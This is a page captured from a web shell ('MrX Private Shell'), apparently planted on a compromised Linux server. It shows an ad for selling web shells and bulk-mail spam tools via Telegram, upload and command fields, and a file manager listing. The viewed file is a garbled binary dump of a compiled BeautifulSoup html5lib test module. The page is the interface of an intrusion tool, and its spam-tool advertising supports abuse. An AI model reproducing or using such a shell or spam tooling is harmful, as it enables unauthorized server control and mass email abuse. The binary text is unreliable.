__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�#���SrSSKrSSKrSSKJr SSKJr SSKJrJ	r	 \RR\(+SS9"S	S
\	55rg)zDTests to ensure that the html5lib tree builder generates good trees.�N)�
BeautifulSoup)�SoupStrainer�)�HTML5LIB_PRESENT�HTML5TreeBuilderSmokeTestz?html5lib seems not to be present, not testing its tree builder.)�reasonc���\rSrSrSr\S5rSrSrSr	Sr
SrS	rS
r
SrSrS
rSrSrSrSrSr\R.R1SSSS/4/5S5rSrSrg)�TestHTML5LibBuilder�z"See ``HTML5TreeBuilderSmokeTest``.c��SSKJn U$)Nr)�HTML5TreeBuilder)�bs4.builderr
)�selfr
s  �9/usr/lib/python3/dist-packages/bs4/tests/test_html5lib.py�default_builder�#TestHTML5LibBuilder.default_builders��0���c�D�[S5nSn[R"SS9n[USUS9nSSS5 WR	5URU5:XdeWunUR[:XdeS[UR5;deg!,(df   Ni=f)N�bz<p>A <b>bold</b> statement.</p>T��record�html5lib)�
parse_onlyz4the html5lib tree builder doesn't support parse_only)
r�warnings�catch_warningsr�decode�document_for�filename�__file__�str�message)r�strainer�markup�w�soup�warnings      r�test_soupstrainer�%TestHTML5LibBuilder.test_soupstrainers�����$��2��
�
$�
$�D�
1�Q� ����I�D�2��{�{�}�� 1� 1�&� 9�9�9�9��	�����8�+�+�+�E���O�O�J
�
�	
�
�
2�
1�s�B�
Bc�N�SnURUS5 URS5 g)z8html5lib inserts <tbody> tags where other parsers don't.z[<table id="1"><tr><td>Here's another table:<table id="2"><tr><td>foo</td></tr></table></td>z�<table id="1"><tbody><tr><td>Here's another table:<table id="2"><tbody><tr><td>foo</td></tr></tbody></table></td></tr></tbody></table>z{<table><thead><tr><td>Foo</td></tr></thead><tbody><tr><td>Bar</td></tr></tbody><tfoot><tr><td>Baz</td></tr></tfoot></table>N)�assert_soup)rr#s  r�test_correctly_nested_tables�0TestHTML5LibBuilder.test_correctly_nested_tables)s9��
�	�	
����
)�	
�	
���
;�	
rc�j�SnURU5nSURR5:Xdeg)Nzy<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html>
<html>
  <head>
  </head>
  <body>
   <p>foo</p>
  </body>
</html>s
<p>foo</p>)r%�p�encode�rr#r%s   r�(test_xml_declaration_followed_by_doctype�<TestHTML5LibBuilder.test_xml_declaration_followed_by_doctypeAs1�����y�y�� ������
�
��/�/�/rc��SnURU5nSURR5:XdeS[UR	S55:Xdeg)Nz%<p><em>foo</p>
<p>bar<a></a></em></p>zD<body><p><em>foo</em></p><em>
</em><p><em>bar<a></a></em></p></body>�r.�r%�bodyr�len�find_allr0s   r�test_reparented_markup�*TestHTML5LibBuilder.test_reparented_markupOsU��9���y�y�� ��S��y�y���!�
"�	
�
"��C��
�
�c�*�+�+�+�+rc��SnURU5nSURR5:XdeS[UR	S55:Xdeg)Nz&<p><em>foo</p>
<p>bar<a></a></em></p>
zE<body><p><em>foo</em></p><em>
</em><p><em>bar<a></a></em></p>
</body>r4r.r5r0s   r�+test_reparented_markup_ends_with_whitespace�?TestHTML5LibBuilder.test_reparented_markup_ends_with_whitespaceXsU��;���y�y�� ��U��y�y���!�
"�	
�
"��C��
�
�c�*�+�+�+�+rc��SnURU5nURSS9up4URS5upVURULdeURULdeg)zsVerify that we keep the two whitespace nodes in this
document distinct when reparenting the adjacent <tbody> tags.
z,<table> <tbody><tbody><ims></tbody> </table>� ��string�tbodyN)r%r8�next_element)rr#r%�space1�space2�tbody1�tbody2s       r�<test_reparented_markup_containing_identical_whitespace_nodes�PTestHTML5LibBuilder.test_reparented_markup_containing_identical_whitespace_nodesasb��@���y�y�� �����c��2������w�/����"�"�f�,�,�,��"�"�f�,�,�,rc���SnURU5nURnSUR:XdeURSS9nUR	SS9SnXTR:XdeXER
:Xdeg)NzF<div><a>aftermath<p><noscript>target</noscript>aftermath</a></p></div>�targetr@�	aftermath���)r%�noscriptrC�findr8�previous_element)rr#r%rNrK�final_aftermaths      r�*test_reparented_markup_containing_children�>TestHTML5LibBuilder.test_reparented_markup_containing_childrenls���T�	��y�y�� ���=�=���8�0�0�0�0�0����(��+���-�-�{�-�;�B�?��
�"5�"5�5�5�5��9�9�9�9�9rc�l�SnURU5n[U5RS5(deg)z(Processing instructions become comments.s<?PITarget PIContent?>z<!--?PITarget PIContent?-->N)r%r �
startswithr0s   r�test_processing_instruction�/TestHTML5LibBuilder.test_processing_instruction~s1��.���y�y�� ���4�y�#�#�$A�B�B�B�Brc�j�SnURU5nURS5up4X4:XdeX4Ldeg)Ns<a class="my_class"><p></a>�a)r%r8)rr#r%�a1�a2s     r�test_cloned_multivalue_node�/TestHTML5LibBuilder.test_cloned_multivalue_node�s8��3���y�y�� �����s�#����x��x��|��|rc�j�SnURU5nSURR5:Xdeg)Ns<table><td></tbody>Az><body>A<table><tbody><tr><td></td></tr></tbody></table></body>)r%r6rr0s   r�test_foster_parenting�)TestHTML5LibBuilder.test_foster_parenting�s7��,���y�y�� ��L��y�y���!�
"�	
�
"rc��SnURU5nU"S5Vs/sHo3R5PM  nU"S5Vs/sHo3R5PM  n[URS55S:Xdegs snfs snf)zh
Test that extraction does not destroy the tree.

https://bugs.launchpad.net/beautifulsoup/+bug/1782928
zW
<html><head></head>
<style>
</style><script></script><body><p>hello</p></body></html>
�script�styler.rN)r%�extractr7r8)rr#r%�ss    r�test_extraction�#TestHTML5LibBuilder.test_extraction�sq����
�y�y�� ��"�8�n�-�n�����n�-�"�7�m�,�m�����m�,��4�=�=��%�&�!�+�+�+��	.��,s�A?�Bc��SnURU5n/nURS5H#nURURS55 M% [U5S:Xdeg)zj
Test that empty comment does not break structure.

https://bugs.launchpad.net/beautifulsoup/+bug/1806598
zI
<html>
<body>
<form>
<!----><input type="text">
</form>
</body>
</html>
�form�inputrN)r%r8�extendr7)rr#r%�inputsris     r�test_empty_comment�&TestHTML5LibBuilder.test_empty_comment�sX�����y�y�� �����M�M�&�)�D��M�M�$�-�-��0�1�*��6�{�a���rc�|�SnURU5nSURR:XdeSURR:XdeSURR	S5R
:XdeURUSS9nSURRLdeSURRLdeg)Nz=
   <p>

<sourceline>
<b>text</b></sourceline><sourcepos></p>r4��
sourcelineF)�store_line_numbers)r%r.rq�	sourceposrO�namer0s   r�test_tracking_line_numbers�.TestHTML5LibBuilder.test_tracking_line_numbers�s���U���y�y�� ���D�F�F�%�%�%�%�%��D�F�F�$�$�$�$�$��t�v�v�{�{�<�8�=�=�=�=�=��y�y��E�y�:���t�v�v�(�(�(�(�(��t�v�v�'�'�'�'�'rc��g�N��rs r�test_special_string_containers�2TestHTML5LibBuilder.test_special_string_containers�s��	
rc���SHlupnSU-nURU5RnUR5nSURS5-nXg:XdeURSS9nSU-nX�:XaMle g)N))z&RightArrowLeftArrow;u⇄s&rlarr;)z&models;u⊧s&models;)z&Nfr;u𝔑s&Nfr;)z&ngeqq;u≧̸s&ngeqq;)z&not;�¬s&not;)z&Not;u⫬s&Not;)z&quot;�"�")z&there4;�∴�&there4;)z&Therefore;r�r�)z&therefore;r�r�)z&fjlig;�fjsfj)z&sqcup;u⊔s&sqcup;)z&sqcups;u⊔︀s&sqcups;)z&apos;�'�')z&verbar;�|�|z
<div>%s</div>s
<div>%s</div>�utf8�html)�	formatter)r%�divr/)	r�
input_element�output_unicode�output_elementr#r��without_element�expect�with_elements	         r�test_html5_attributes�)TestHTML5LibBuilder.test_html5_attributes�s���>
�9�M�>�"%�}�4�F��)�)�F�#�'�'�C�!�j�j�l�O�%��(=�(=�f�(E�E�F�"�,�,�,��:�:��:�7�L�%��6�F��)�)�)�3>
rz
name,value)�document_declared_encodingr��exclude_encodingsr�c��UR5nX0n[R"SS9n[UR"S0UD65 SSS5 Wun[UR5nUSUSUS3:Xdeg!,(df   N7=f)NTrzYou provided a value for z0, but the html5lib tree builder doesn't support �.)rY)rrr�list�prepare_markupr r!)rrt�value�builder�kwargsr$r&�msgs        r�test_prepare_markup_warnings�0TestHTML5LibBuilder.test_prepare_markup_warnings�s����&�&�(�����
�
$�
$�D�
1�Q���'�'�6�v�6�7�2��	���'�/�/�"���*�4�&�0`�ae�`f�fg�h�
i�	
�
i�2�
1�s�A5�5
Bc��grxryrzs r�test_doctype_filtered�)TestHTML5LibBuilder.test_doctype_filtereds��	
rryN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�propertyrr'r+r1r9r<rHrRrVr\r_rfrmrur{r��pytest�mark�parametrizer�r��__static_attributes__ryrrr
r
s���
-�
� �� �

�
�00�,�,�	-�:�$C��
�,�$ �,(�
�"*�H�[�[����	/�2E��x�1P�Q��
�	�
�
rr
)
r�r�r�bs4r�
bs4.filterr�rrr��skipifr
ryrr�<module>r�sU��J�
���#���������L���v
�3�v
�	�v
r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 66.1 KB 0644
test_builder.cpython-313.pyc File 1.59 KB 0644
test_builder_registry.cpython-313.pyc File 7.62 KB 0644
test_css.cpython-313.pyc File 28.35 KB 0644
test_dammit.cpython-313.pyc File 19.46 KB 0644
test_element.cpython-313.pyc File 6.04 KB 0644
test_filter.cpython-313.pyc File 30.98 KB 0644
test_formatter.cpython-313.pyc File 7.59 KB 0644
test_fuzz.cpython-313.pyc File 6.91 KB 0644
test_html5lib.cpython-313.pyc File 11.63 KB 0644
test_htmlparser.cpython-313.pyc File 7.14 KB 0644
test_lxml.cpython-313.pyc File 8.05 KB 0644
test_navigablestring.cpython-313.pyc File 7.7 KB 0644
test_pageelement.cpython-313.pyc File 22.48 KB 0644
test_soup.cpython-313.pyc File 31.39 KB 0644
test_tag.cpython-313.pyc File 13.9 KB 0644
test_tree.cpython-313.pyc File 91.45 KB 0644
Filemanager